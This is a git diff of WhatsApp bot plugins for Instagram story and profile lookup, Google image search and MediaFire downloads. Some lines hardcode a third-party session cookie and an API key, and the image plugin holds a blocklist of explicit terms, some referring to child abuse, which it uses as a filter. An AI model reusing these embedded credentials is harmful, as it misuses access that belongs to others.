-if (!args[0]) throw `${lenguajeGB['smsAvisoMG']()}𝙄𝙉𝙂𝙍𝙀𝙎𝙀 𝙀𝙇 𝙉𝙊𝙈𝘽𝙍𝙀 𝘿𝙀 𝙐𝙎𝙐𝘼𝙍𝙄𝙊 𝘿𝙀 𝙄𝙉𝙎𝙏𝘼𝙂𝙍𝘼𝙈 𝙋𝘼𝙍𝘼 𝘿𝙀𝙎𝘾𝘼𝙍𝙂𝘼𝙍 𝙇𝘼𝙎 𝙃𝙄𝙎𝙏𝙊𝙍𝙄𝘼𝙎\n𝙀𝙅𝙀𝙈𝙋𝙇𝙊\n*${usedPrefix + command} gatadios*`
-await m.reply(global.wait)
-const res = await fetch(`https://api.lolhuman.xyz/api/igstory/${args[0]}?apikey=${lolkeysapi}`)
-var anu = await res.json()
-var anuku = anu.result
-if (anuku == '') return m.reply(`${lenguajeGB['smsAvisoFG']()}𝙐𝙎𝙐𝘼𝙍𝙄𝙊 𝙄𝙉𝙑𝘼́𝙇𝙄𝘿𝙊𝙎 𝙊 𝙎𝙄𝙉 𝙃𝙄𝙎𝙏𝙊𝙍𝙄𝘼𝙎`)
-for (var i of anuku) {
-let res = await axios.head(i)
-let mime = res.headers['content-type']
-if (/image/.test(mime)) await conn.sendFile(m.chat, i, 'error.jpg', null, m).catch(() => { return m.reply(`${lenguajeGB['smsAvisoFG']()}𝙐𝙎𝙐𝘼𝙍𝙄𝙊 𝙄𝙉𝙑𝘼́𝙇𝙄𝘿𝙊𝙎 𝙊 𝙎𝙄𝙉 𝙃𝙄𝙎𝙏𝙊𝙍𝙄𝘼𝙎`)})
-if (/video/.test(mime)) await conn.sendFile(m.chat, i, 'error.mp4', null, m).catch(() => { return m.reply(`${lenguajeGB['smsAvisoFG']()}𝙐𝙎𝙐𝘼𝙍𝙄𝙊 𝙄𝙉𝙑𝘼́𝙇𝙄𝘿𝙊𝙎 𝙊 𝙎𝙄𝙉 𝙃𝙄𝙎𝙏𝙊𝙍𝙄𝘼𝙎`)})
-}}
-handler.help = ['igstory ']
-handler.tags = ['downloader']
-handler.command = ['igstory', 'ighistoria', 'ighistorias' ]
-handler.limit = 3
-handler.exp = 87
-export default handler
-
-
-/*import axios from 'axios'
-import hx from 'hxz-api'
-
-let handler = async (m, { conn, args, usedPrefix, command, text}) => {
-if (!text) throw `${lenguajeGB['smsAvisoMG']()}𝙄𝙉𝙂𝙍𝙀𝙎𝙀 𝙀𝙇 𝙉𝙊𝙈𝘽𝙍𝙀 𝘿𝙀 𝙐𝙎𝙐𝘼𝙍𝙄𝙊 𝘿𝙀 𝙄𝙉𝙎𝙏𝘼𝙂𝙍𝘼𝙈 𝙋𝘼𝙍𝘼 𝘿𝙀𝙎𝘾𝘼𝙍𝙂𝘼𝙍 𝙇𝘼𝙎 𝙃𝙄𝙎𝙏𝙊𝙍𝙄𝘼𝙎\n𝙀𝙅𝙀𝙈𝙋𝙇𝙊\n*${usedPrefix + command} gatadios*\n\n𝙀𝙉𝙏𝙀𝙍 𝙄𝙉𝙎𝙏𝘼𝙂𝙍𝘼𝙈 𝙐𝙎𝙀𝙍𝙉𝘼𝙈𝙀 𝙏𝙊 𝘿𝙊𝙒𝙉𝙇𝙊𝘼𝘿 𝙎𝙏𝙊𝙍𝙄𝙀𝙎\n𝙀𝙓𝘼𝙈𝙋𝙇𝙀\n*${usedPrefix + command} gata_dios*`
-
-hx.igstory(text).then(async (result) => {
-for (let i of result.medias) {
-if (i.url.includes("mp4")) {
-conn.sendFile(m.chat, i.url, 'igstory.mp4', wm, m)
-} else {
-conn.sendFile(m.chat, i.url, '', '', m)
-}}});
-
-let info = `💖 *Infórmate sobre las Novedades y recuerda tener la última versión.*\n\n💝 *Find out about what's new and remember to have the latest version.*
- `
- conn.sendButton(m.chat, info, `𝙂𝘼𝙏𝘼 𝘿𝙄𝙊𝙎 - 𝘼𝙎𝙄𝙎𝙏𝙀𝙉𝘾𝙄𝘼\n${asistencia}\n\n`, [
-['𝙈𝙚𝙣𝙪 𝘿𝙚𝙨𝙘𝙖𝙧𝙜𝙖𝙨 🌀', '#descargasmenu'],
-['𝙈𝙚𝙣𝙪 𝘾𝙤𝙢𝙥𝙡𝙚𝙩𝙤 | 𝙁𝙪𝙡𝙡 𝙈𝙚𝙣𝙪 ✨', '.allmenu'],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ | 𝘽𝙖𝙘𝙠 𝙩𝙤 𝙈𝙚𝙣𝙪 ☘️', '/menu']], m)
-/*.trim()
-await conn.sendHydrated(m.chat, info, wm, null, ig, '𝙄𝙣𝙨𝙩𝙖𝙜𝙧𝙖𝙢', null, null, [
-['𝙈𝙚𝙣𝙪 𝘿𝙚𝙨𝙘𝙖𝙧𝙜𝙖𝙨 🌀', '#descargasmenu'],
-['𝙈𝙚𝙣𝙪 𝘾𝙤𝙢𝙥𝙡𝙚𝙩𝙤 | 𝙁𝙪𝙡𝙡 𝙈𝙚𝙣𝙪 ✨', '.allmenu'],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ | 𝘽𝙖𝙘𝙠 𝙩𝙤 𝙈𝙚𝙣𝙪 ☘️', '/menu']
-], m,)
-}
-handler.help = ['igstory ']
-handler.tags = ['downloader']
-handler.command = ['igstory', 'ighistoria', 'ighistorias' ]
-handler.limit = 3
-handler.exp = 87
-export default handler
-*/
diff --git a/plugins/descargas-igstalk.js b/plugins/descargas-igstalk.js
index 14e348953..e68d8a613 100644
--- a/plugins/descargas-igstalk.js
+++ b/plugins/descargas-igstalk.js
@@ -1,123 +1,47 @@
-import axios from 'axios'
-import cheerio from 'cheerio'
-import fetch from 'node-fetch'
-let handler = async (m, { conn, args, usedPrefix, command }) => {
-if (!args[0]) throw `${lenguajeGB['smsAvisoMG']()}𝙄𝙉𝙂𝙍𝙀𝙎𝙀 𝙀𝙇 𝙐𝙎𝙐𝘼𝙍𝙄𝙊 𝘿𝙀 𝘼𝙇𝙂𝙐𝙄𝙀𝙉 𝘿𝙀 𝙄𝙉𝙎𝙏𝘼𝙂𝙍𝘼𝙈\n𝙀𝙅𝙀𝙈𝙋𝙇𝙊\n*${usedPrefix + command} gatadios*`
-await m.reply(global.wait)
-let res = await igstalk(args[0].replace(/^@/, ''))
-let res2 = await fetch(`https://api.lolhuman.xyz/api/stalkig/${args[0].replace(/^@/, '')}?apikey=${lolkeysapi}`)
-let res3 = await res2.json()
-let json = JSON.parse(JSON.stringify(res))
-let iggs = `┃ 𓃠 *${gt} ${vs}*
-┃┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┃ 𝙉𝙊𝙈𝘽𝙍𝙀
-┃ *${json.username}*
-┃┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┃ 𝙐𝙎𝙐𝘼𝙍𝙄𝙊(𝘼)
-┃ *${json.fullname}*
-┃┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┃ 𝙇𝙄𝙉𝙆
-┃ *https://instagram.com/${json.username.replace(/^@/, '')}*
-┃┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┃ 𝙎𝙀𝙂𝙐𝙄𝘿𝙊𝙍𝙀𝙎
-┃ *${json.followers}*
-┃┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┃ 𝙎𝙀𝙂𝙐𝙄𝘿𝙊𝙎
-┃ *${json.following}*
-┃┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┃ 𝙋𝙐𝘽𝙇𝙄𝘾𝘼𝘾𝙄𝙊𝙉𝙀𝙎
-┃ *${json.post}*
-┃┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┃ 𝘽𝙄𝙊𝙂𝙍𝘼𝙁Í𝘼
-┃ *${json.bio}*`.trim()
-let aa = `${res3.result.photo_profile || res.profile}`
-await conn.sendFile(m.chat, aa, 'error.jpg', iggs, m)
-conn.reply(m.chat, `${lenguajeGB['smsAvisoIIG']()}💖 *Infórmate sobre las Novedades y recuerda tener la última versión.*`, m, {
-contextInfo: { externalAdReply :{ mediaUrl: null, mediaType: 1, description: null,
-title: 'The-LoliBot-MD',
-body: 'Super Bot WhatsApp',
-previewType: 0, thumbnail: fs.readFileSync("./media/menus/Menu3.jpg"),
-sourceUrl: md}}})}
-handler.help = ['igstalk'].map(v => v + ' ')
+import fg from 'api-dylux'
+let handler= async (m, { conn, args, text, usedPrefix, command }) => {
+if (!args[0]) return m.reply(`⚠️ Ingrese el Username de Instagram\n\n*• Ejemplo:* ${usedPrefix + command} GataDios`)
+m.react("⌛");
+try {
+const apiUrl = `${info.apis}/tools/igstalk?username=${encodeURIComponent(args[0])}`;
+const apiResponse = await fetch(apiUrl);
+const delius = await apiResponse.json();
+if (!delius || !delius.data) return m.react("❌");
+const profile = delius.data;
+const txt = `👤 *Perfil de Instagram*:
+🔹 *Nombre de usuario*: ${profile.username}
+🔹 *Nombre completo*: ${profile.full_name}
+🔹 *Biografía*: ${profile.biography}
+🔹 *Verificado*: ${profile.verified ? 'Sí' : 'No'}
+🔹 *Cuenta privada*: ${profile.private ? 'Sí' : 'No'}
+🔹 *Seguidores*: ${profile.followers}
+🔹 *Seguidos*: ${profile.following}
+🔹 *Publicaciones*: ${profile.posts}
+🔹 *URL*: ${profile.url}`;
+
+await conn.sendFile(m.chat, profile.profile_picture, 'insta_profile.jpg', txt, m);
+ m.react("✅");
+} catch (e2) {
+try {
+let res = await fg.igStalk(args[0])
+let te = `👤 *Perfil de Instagram*:
+*• Nombre:* ${res.name}
+*• Username:* ${res.username}
+*• Seguidores:* ${res.followersH}
+*• Siguiendo:* ${res.followingH}
+*• Bio:* ${res.description}
+*• Posts:* ${res.postsH}
+*• Link* : https://instagram.com/${res.username.replace(/^@/, '')}`
+await conn.sendFile(m.chat, res.profilePic, 'igstalk.png', te, m)
+m.react("⌛");
+} catch (e) {
+await m.react(`❌`)
+m.reply(`\`\`\`⚠️ OCURRIO UN ERROR ⚠️\`\`\`\n\n> *Reporta el siguiente error a mi creador con el comando:*#report\n\n>>> ${e} <<<< `)
+console.log(e)
+}}}
+handler.help = ['igstalk']
handler.tags = ['downloader']
-handler.command = /^(igstalk|verig|igver)$/i
-handler.exp = 80
-handler.money = 150
-handler.level = 3
+handler.command = ['igstalk', 'igsearch', 'instagramsearch']
handler.register = true
+handler.limit = 1
export default handler
-
-async function igstalk(Username) {
-return new Promise((resolve, reject) => {
-axios.get('https://dumpor.com/v/'+Username, {
-headers: { "cookie": "_inst_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWGhnNS1uWVNLUU81V1lzQ01MTVY2R0h1.fI2xB2dYYxmWqn7kyCKIn1baWw3b-f7QvGDfDK2WXr8", "user-agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36" }}).then(res => {
-const $ = cheerio.load(res.data)
-const result = {
-profile: $('#user-page > div.user > div.row > div > div.user__img').attr('style').replace(/(background-image: url\(\'|\'\);)/gi, ''),
-fullname: $('#user-page > div.user > div > div.col-md-4.col-8.my-3 > div > a > h1').text(),
-username: $('#user-page > div.user > div > div.col-md-4.col-8.my-3 > div > h4').text(),
-post: $('#user-page > div.user > div > div.col-md-4.col-8.my-3 > ul > li:nth-child(1)').text().replace(' Posts',''),
-followers: $('#user-page > div.user > div > div.col-md-4.col-8.my-3 > ul > li:nth-child(2)').text().replace(' Followers',''),
-following: $('#user-page > div.user > div > div.col-md-4.col-8.my-3 > ul > li:nth-child(3)').text().replace(' Following',''),
-bio: $('#user-page > div.user > div > div.col-md-5.my-3 > div').text()}
-resolve(result)})})}
-
-
-/*import { instagramStalk } from '@bochilteam/scraper'
-
-let handler= async (m, { args, usedPrefix, command }) => {
-if (!args[0]) throw `${lenguajeGB['smsAvisoMG']()}𝙄𝙉𝙂𝙍𝙀𝙎𝙀 𝙀𝙇 𝙐𝙎𝙐𝘼𝙍𝙄𝙊 𝘿𝙀 𝘼𝙇𝙂𝙐𝙄𝙀𝙉 𝘿𝙀 𝙄𝙉𝙎𝙏𝘼𝙂𝙍𝘼𝙈\n𝙀𝙅𝙀𝙈𝙋𝙇𝙊\n*${usedPrefix + command} gatadios*\n\n𝙀𝙉𝙏𝙀𝙍 𝙄𝙉𝙎𝙏𝘼𝙂𝙍𝘼𝙈 𝙐𝙎𝙀𝙍𝙉𝘼𝙈𝙀\n𝙀𝙓𝘼𝙈𝙋𝙇𝙀\n*${usedPrefix + command} gata_dios*`
-const {
-username,
-name,
-description,
-followersH,
-followingH,
-postsH,
-} = await instagramStalk(args[0])
-m.reply(`
-┃ 𓃠 *${gt} ${vs}*
-┃┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┃ 𝙉𝙊𝙈𝘽𝙍𝙀 | 𝙉𝘼𝙈𝙀
-┃ *${name}*
-┃┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┃ 𝙐𝙎𝙐𝘼𝙍𝙄𝙊(𝘼) | 𝙐𝙎𝙀𝙍
-┃ *${username}*
-┃┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┃ 𝙀𝙉𝙇𝘼𝘾𝙀 | 𝙇𝙄𝙉𝙆
-┃ *https://instagram.com/${username.replace(/^@/, '')}*
-┃┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┃ 𝙎𝙀𝙂𝙐𝙄𝘿𝙊𝙍𝙀𝙎 | 𝙁𝙊𝙇𝙇𝙊𝙒𝙀𝙍𝙎
-┃ *${followersH}*
-┃┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┃ 𝙎𝙀𝙂𝙐𝙄𝘿𝙊𝙎 | 𝙁𝙊𝙇𝙇𝙊𝙒𝙄𝙉𝙂
-┃ *${followingH}*
-┃┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┃ 𝙋𝙐𝘽𝙇𝙄𝘾𝘼𝘾𝙄𝙊𝙉𝙀𝙎 | 𝙋𝙊𝙎𝙏𝙎
-┃ *${postsH}*
-┃┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
-┃ 𝘽𝙄𝙊𝙂𝙍𝘼𝙁Í𝘼 | 𝘿𝙀𝙎𝘾𝙍𝙄𝙋𝙏𝙄𝙊𝙉
-┃ *${description}*
-`.trim())
-
- let info = `💖 *Infórmate sobre las Novedades y recuerda tener la última versión.*\n\n💝 *Find out about what's new and remember to have the latest version.*
- `
- conn.sendButton(m.chat, info, `𝙂𝘼𝙏𝘼 𝘿𝙄𝙊𝙎 - 𝘼𝙎𝙄𝙎𝙏𝙀𝙉𝘾𝙄𝘼\n${asistencia}\n\n`, [
-['𝙈𝙚𝙣𝙪 𝘿𝙚𝙨𝙘𝙖𝙧𝙜𝙖𝙨 🌀', '#descargasmenu'],
-['𝙈𝙚𝙣𝙪 𝘾𝙤𝙢𝙥𝙡𝙚𝙩𝙤 | 𝙁𝙪𝙡𝙡 𝙈𝙚𝙣𝙪 ✨', '.allmenu'],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ | 𝘽𝙖𝙘𝙠 𝙩𝙤 𝙈𝙚𝙣𝙪 ☘️', '/menu']], m)
- /*.trim()
-
-await conn.sendHydrated(m.chat, info, wm, null, ig, '𝙄𝙣𝙨𝙩𝙖𝙜𝙧𝙖𝙢', null, null, [
-['𝙈𝙚𝙣𝙪 𝘿𝙚𝙨𝙘𝙖𝙧𝙜𝙖𝙨 🌀', '#descargasmenu'],
-['𝙈𝙚𝙣𝙪 𝘾𝙤𝙢𝙥𝙡𝙚𝙩𝙤 | 𝙁𝙪𝙡𝙡 𝙈𝙚𝙣𝙪 ✨', '.allmenu'],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ | 𝘽𝙖𝙘𝙠 𝙩𝙤 𝙈𝙚𝙣𝙪 ☘️', '/menu']
-], m,)
-
-}
-handler.help = ['igstalk'].map(v => v + ' ')
-handler.tags = ['downloader']
-handler.command = /^(igstalk|verig|igver)$/i
-handler.exp = 80
-export default handler*/
-
diff --git a/plugins/descargas-imagen.js b/plugins/descargas-imagen.js
index 3d5eb331a..b93291607 100644
--- a/plugins/descargas-imagen.js
+++ b/plugins/descargas-imagen.js
@@ -1,22 +1,20 @@
-import { googleImage } from '@bochilteam/scraper'
-let handler = async (m, { conn, text, usedPrefix, command }) => {
-let user = global.db.data.users[m.sender]
+import { googleImage } from '@bochilteam/scraper';
+const handler = async (m, { conn, text, usedPrefix, command }) => {
+if (!text) return m.reply(`𝗤𝘂𝗲 𝗯𝘂𝘀𝗰𝗮𝗿? 🤔️ 𝙪𝘀𝙖𝙧 𝙙𝙚 𝙡𝙖 𝙨𝙞𝙜𝙪𝙞𝙚𝙣𝙩𝙚 𝙢𝙖𝙣𝙚𝙧𝙖\n• 𝗘𝗷𝗲𝗺𝗽𝗹𝗼\n*${usedPrefix + command} Loli*`)
+const forbiddenWords = ['caca', 'polla', 'porno', 'porn', 'gore', 'cum', 'semen', 'puta', 'puto', 'culo', 'putita', 'putito','pussy', 'hentai', 'pene', 'coño', 'asesinato', 'zoofilia', 'mia khalifa', 'desnudo', 'desnuda', 'cuca', 'chocha', 'muertos', 'pornhub', 'xnxx', 'xvideos', 'teta', 'vagina', 'marsha may', 'misha cross', 'sexmex', 'furry', 'furro', 'furra', 'xxx', 'rule34', 'panocha', 'pedofilia', 'necrofilia', 'pinga', 'horny', 'ass', 'nude', 'popo', 'nsfw', 'femdom', 'futanari', 'erofeet', 'sexo', 'sex', 'yuri', 'ero', 'ecchi', 'blowjob', 'anal', 'ahegao', 'pija', 'verga', 'trasero', 'violation', 'violacion', 'bdsm', 'cachonda', '+18', 'cp', 'mia marin', 'lana rhoades', 'cepesito', 'hot', 'buceta', 'xxx', 'Violet Myllers', 'Violet Myllers pussy', 'Violet Myllers desnuda', 'Violet Myllers sin ropa', 'Violet Myllers culo', 'Violet Myllers vagina', 'Pornografía', 'Pornografía infantil', 'niña desnuda', 'niñas desnudas', 'niña pussy', 'niña pack', 'niña culo', 'niña sin ropa', 'niña siendo abusada', 'niña siendo abusada sexualmente' , 'niña cogiendo', 'niña fototeta', 'niña vagina', 'hero Boku no pico', 'Mia Khalifa cogiendo', 'Mia Khalifa sin ropa', 'Mia Khalifa comiendo polla', 'Mia Khalifa desnuda']
+if (forbiddenWords.some(word => m.text.toLowerCase().includes(word))) return m.reply('🙄 No voy a buscar tu pendejadas....')
+try {
+const res = await googleImage(text);
+const image = await res.getRandom();
+const link = image;
+conn.sendFile(m.chat, link, 'error.jpg', `_🔎 𝙍𝙚𝙨𝙪𝙡𝙩𝙖𝙙𝙤𝙨 𝙙𝙚: ${text}_`, m);
+} catch (e) {
+console.log(e);
+}}
+handler.help = ['gimage ', 'imagen '];
+handler.tags = ['buscadores'];
+handler.command = /^(gimage|image|imagen)$/i;
+handler.register = true;
+handler.limit = 1;
-if (!text) throw `𝗤𝘂𝗲 𝗯𝘂𝘀𝗰𝗮𝗿? 🤔️\n𝗨𝘀𝗲𝗿 𝙙𝙚 𝙡𝙖 𝙨𝙞𝙜𝙪𝙞𝙚𝙣𝙩𝙚 𝙢𝙖𝙣𝙚𝙧𝙖\n𝗘𝗷𝗲𝗺𝗽𝗹𝗼\n*${usedPrefix + command} Loli*`
-if (m.text.includes('gore') || m.text.includes('cp')|| m.text.includes('porno')|| m.text.includes('Gore')|| m.text.includes('rule')|| m.text.includes('CP') || m.text.includes('Rule34') || m.text.includes('xxx')) return m.reply('🙄')
-const res = await googleImage(text)
-let image = res.getRandom()
-let link = image
-await delay(1000)
-conn.sendFile(m.chat, link, 'error.jpg', `*✨ 𝙍𝙚𝙨𝙪𝙡𝙩𝙖𝙙𝙤: ${text}*`, m)
-/*conn.sendHydrated(m.chat, `✨ 𝙍𝙚𝙨𝙪𝙡𝙩𝙖𝙙𝙤: ${text}`, `${wm}`, link, link, '☘️ 𝙐𝙍𝙇', null, null, [
-['🔄 𝙎𝙞𝙜𝙪𝙞𝙚𝙣𝙩𝙚', `/imagen ${text}`],
-], m)*/
-}
-handler.help = ['gimage ', 'imagen ']
-handler.tags = ['internet', 'tools']
-handler.command = /^(gimage|image|imagen)$/i
-handler.exp = 20
-handler.money = 40
-export default handler
-const delay = time => new Promise(res => setTimeout(res, time))
+export default handler;
\ No newline at end of file
diff --git a/plugins/descargas-mediafire.js b/plugins/descargas-mediafire.js
index 6c65a1dae..48a7d4b59 100644
--- a/plugins/descargas-mediafire.js
+++ b/plugins/descargas-mediafire.js
@@ -1,61 +1,93 @@
-import axios from 'axios'
-import fetch from 'node-fetch'
+import axios from 'axios';
+import fetch from 'node-fetch';
+//import cheerio from 'cheerio';
+//import { mediafiredl } from '@bochilteam/scraper';
+import fg from 'api-dylux';
+let free = 150;
+let prem = 500;
+const userCaptions = new Map();
+const userRequests = {};
-let handler = async (m, { conn, args, usedPrefix, command }) => {
-let user = db.data.users[m.sender]
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-let time = global.db.data.users[m.sender].prue + 60000
-if (new Date - global.db.data.users[m.sender].prue < 60000) throw `*ESPERA UNOS MINUTOS PARA USAR OTRO COMANDO*`
-if (!args[0]) return conn.reply(m.chat, `${lenguajeGB['smsAvisoMG']()}*𝙄𝙉𝙂𝙍𝙀𝙎𝙀 𝙐𝙉 𝙀𝙉𝙇𝘼𝘾𝙀 𝙑𝘼𝙇𝙄𝘿𝙊 𝘿𝙀𝙇 𝙈𝙀𝘿𝙄𝘼𝙁𝙄𝙍𝙀*\n*𝙀𝙅𝙀𝙈𝙋𝙇𝙊:*\n ${usedPrefix + command} https://www.mediafire.com/file/cv64tns6co3272q/Lolibot.zip/file`, fkontak, m)
-try {
-let res = await mediafireDl(args[0])
-let { name, size, date, mime, link } = res
-let caption = `╭┄ ${wm}\n┆ 💫 𝙉𝙊𝙈𝘽𝙍𝙀:\n┆ ${name}\n┆——————«•»——————\n┆ 💪 𝙋𝙀𝙎𝙊:\n┆ ${size}\n┆——————«•»——————\n┆ 🚀 𝙏𝙄𝙋𝙊:\n┆ ${mime}\n╰━━━⊰ 𓃠 ${vs} ⊱━━━━დ\n\n⏳ ᴱˢᵖᵉʳᵉ ᵘⁿ ᵐᵒᵐᵉⁿᵗᵒ ᵉⁿ ˡᵒˢ ᵠᵘᵉ ᵉⁿᵛᶦᵒˢ ˢᵘˢ ᵃʳᶜʰᶦᵛᵒˢ`.trim()
-conn.reply(m.chat, caption, m, {
-contextInfo: { externalAdReply :{ mediaUrl: null, mediaType: 1, description: null,
-title: '𝙇𝙤𝙡𝙞𝘽𝙤𝙩-𝙈𝘿',
-body: 'Super Bot WhatsApp',
-previewType: 0, thumbnail: fs.readFileSync("./media/menus/Menu3.jpg"),
-sourceUrl: `https://github.com/elrebelde21/The-LoliBot-MD`}}})
-await conn.sendFile(m.chat, link, name, '', m, null, { mimetype: mime, asDocument: true })
-} catch {
-let sticker = './src/stickers1.webp'
-conn.sendFile(m.chat, sticker, 'error.webp', '', m)
-handler.limit = false
-}
-global.db.data.users[m.sender].prue = new Date * 1
+const handler = async (m, { conn, args, usedPrefix, command }) => {
+const sticker = 'https://qu.ax/Wdsb.webp';
+if (!args[0]) return m.reply( `⚠️ 𝙄𝙣𝙜𝙧𝙚𝙨𝙚 𝙪𝙣 𝙀𝙣𝙡𝙖𝙘𝙚 𝙫𝙖𝙡𝙞𝙙𝙤 𝙙𝙚𝙡 𝙢𝙚𝙙𝙞𝙖𝙛𝙞𝙧𝙚 𝙀𝙟:*\n${usedPrefix + command} https://www.mediafire.com/file/sd9hl31vhhzf76v/EvolutionV1.1-beta_%2528Recomendado%2529.apk/file`)
+
+if (userRequests[m.sender]) return await conn.reply(m.chat, `⚠️ Hey @${m.sender.split('@')[0]} pendejo, ya estás descargando algo 🙄\nEspera a que termine tu solicitud actual antes de hacer otra...`, userCaptions.get(m.sender) || m);
+userRequests[m.sender] = true;
+m.react(`🚀`);
+try {
+const downloadAttempts = [
+async () => {
+const res = await fetch(`https://api.delirius.store/download/mediafire?url=${args[0]}`);
+const data = await res.json();
+return { url: data.data[0].link,
+filename: data.data[0].filename,
+filesize: data.data[0].size,
+mimetype: data.data[0].mime
+}},
+async () => {
+const res = await fetch(`https://api.neoxr.eu/api/mediafire?url=${args[0]}&apikey=russellxz`);
+const data = await res.json();
+if (!data.status || !data.data) throw new Error('Error en Neoxr');
+return { url: data.data.url,
+filename: data.data.title,
+filesize: data.data.size,
+mimetype: data.data.mime
+}},
+async () => {
+const res = await fetch(`https://api.agatz.xyz/api/mediafire?url=${args[0]}`);
+const data = await res.json();
+return { url: data.data[0].link,
+filename: data.data[0].nama,
+filesize: data.data[0].size,
+mimetype: data.data[0].mime
+}},
+async () => {
+const res = await fetch(`https://api.siputzx.my.id/api/d/mediafire?url=${args[0]}`);
+const data = await res.json();
+return data.data.map(file => ({ url: file.link,
+filename: file.filename,
+filesize: file.size,
+mimetype: file.mime
+}))[0];
}
-handler.help = ['mediafire'].map(v => v + ' ')
-handler.tags = ['downloader']
-handler.command = /^(mediafire|mediafiredl|dlmediafire)$/i
-handler.register = true
-handler.limit = 3
-handler.exp = 100
-export default handler
+];
-function msToTime(duration) {
-var milliseconds = parseInt((duration % 1000) / 100),
-seconds = Math.floor((duration / 1000) % 60),
-minutes = Math.floor((duration / (1000 * 60)) % 60),
-hours = Math.floor((duration / (1000 * 60 * 60)) % 24)
+let fileData = null;
-hours = (hours < 10) ? "0" + hours : hours
-minutes = (minutes < 10) ? "0" + minutes : minutes
-seconds = (seconds < 10) ? "0" + seconds : seconds
+for (const attempt of downloadAttempts) {
+try {
+fileData = await attempt();
+if (fileData) break;
+} catch (err) {
+console.error(`Error in attempt: ${err.message}`);
+continue; // Si falla, intentar con la siguiente API
+}}
-return minutes + " m y " + seconds + " s "
-}
+if (!fileData) throw new Error('No se pudo descargar el archivo desde ninguna API');
+const file = Array.isArray(fileData) ? fileData[0] : fileData;
+const caption = `┏━━『 𝐌𝐄𝐃𝐈𝐀𝐅𝐈𝐑𝐄 』━━•
+┃❥ 𝐍𝐨𝐦𝐛𝐫𝐞 : ${file.filename}
+┃❥ 𝐏𝐞𝐬𝐨 : ${file.filesize}
+┃❥ 𝐓𝐢𝐩𝐨 : ${file.mimetype}
+╰━━━⊰ 𓃠 ${info.vs} ⊱━━━━•
+> ⏳ ᴱˢᵖᵉʳᵉ ᵘⁿ ᵐᵒᵐᵉⁿᵗᵒ ᵉⁿ ˡᵒˢ ᵠᵘᵉ ᵉⁿᵛᶦᵒˢ ˢᵘˢ ᵃʳᶜʰᶦᵛᵒˢ`.trim();
+const captionMessage = await conn.reply(m.chat, caption, m)
+userCaptions.set(m.sender, captionMessage);
+await conn.sendFile(m.chat, file.url, file.filename, '', m, null, { mimetype: file.mimetype, asDocument: true });
+m.react('✅');
+} catch (e) {
+await conn.sendFile(m.chat, sticker, 'error.webp', '', m);
+m.react('❌');
+console.error(e);
+handler.limit = false;
+} finally {
+delete userRequests[m.sender];
+}};
+handler.help = ['mediafire', 'mediafiredl'];
+handler.tags = ['downloader'];
+handler.command = /^(mediafire|mediafiredl|dlmediafire)$/i;
+handler.register = true;
+handler.limit = 3;
-async function mediafireDl(url) {
- const res = await axios.get(`https://www-mediafire-com.translate.goog/${url.replace('https://www.mediafire.com/','')}?_x_tr_sl=en&_x_tr_tl=fr&_x_tr_hl=en&_x_tr_pto=wapp`)
- const $ = cheerio.load(res.data)
- const link = $('#downloadButton').attr('href')
- const name = $('body > main > div.content > div.center > div > div.dl-btn-cont > div.dl-btn-labelWrap > div.promoDownloadName.notranslate > div').attr('title').replaceAll(' ','').replaceAll('\n','')
- const date = $('body > main > div.content > div.center > div > div.dl-info > ul > li:nth-child(2) > span').text()
- const size = $('#downloadButton').text().replace('Download', '').replace('(', '').replace(')', '').replace('\n', '').replace('\n', '').replace(' ', '').replaceAll(' ','')
- let mime = ''
- let rese = await axios.head(link)
- mime = rese.headers['content-type']
- return { name, size, date, mime, link }
-}
-
\ No newline at end of file
+export default handler;
\ No newline at end of file
diff --git a/plugins/descargas-modapk.js b/plugins/descargas-modapk.js
new file mode 100644
index 000000000..492255e69
--- /dev/null
+++ b/plugins/descargas-modapk.js
@@ -0,0 +1,90 @@
+import axios from 'axios';
+//import cheerio from 'cheerio';
+//import { search, download } from 'aptoide-scraper';
+const userMessages = new Map();
+const userRequests = {};
+
+const handler = async (m, { conn, usedPrefix, command, text }) => {
+const apkpureApi = 'https://apkpure.com/api/v2/search?q=';
+const apkpureDownloadApi = 'https://apkpure.com/api/v2/download?id=';
+if (!text) return m.reply(`⚠️ *𝙀𝙨𝙘𝙧𝙞𝙗𝙖 𝙚𝙡 𝙣𝙤𝙢𝙗𝙧𝙚 𝙙𝙚𝙡 𝘼𝙋𝙆*`)
+if (userRequests[m.sender]) return await conn.reply(m.chat, `⚠️ Hey @${m.sender.split('@')[0]} pendejo, ya estás descargando un APK 🙄\nEspera a que termine tu descarga actual antes de pedir otra. 👆`, userMessages.get(m.sender) || m)
+userRequests[m.sender] = true;
+m.react("⌛");
+try {
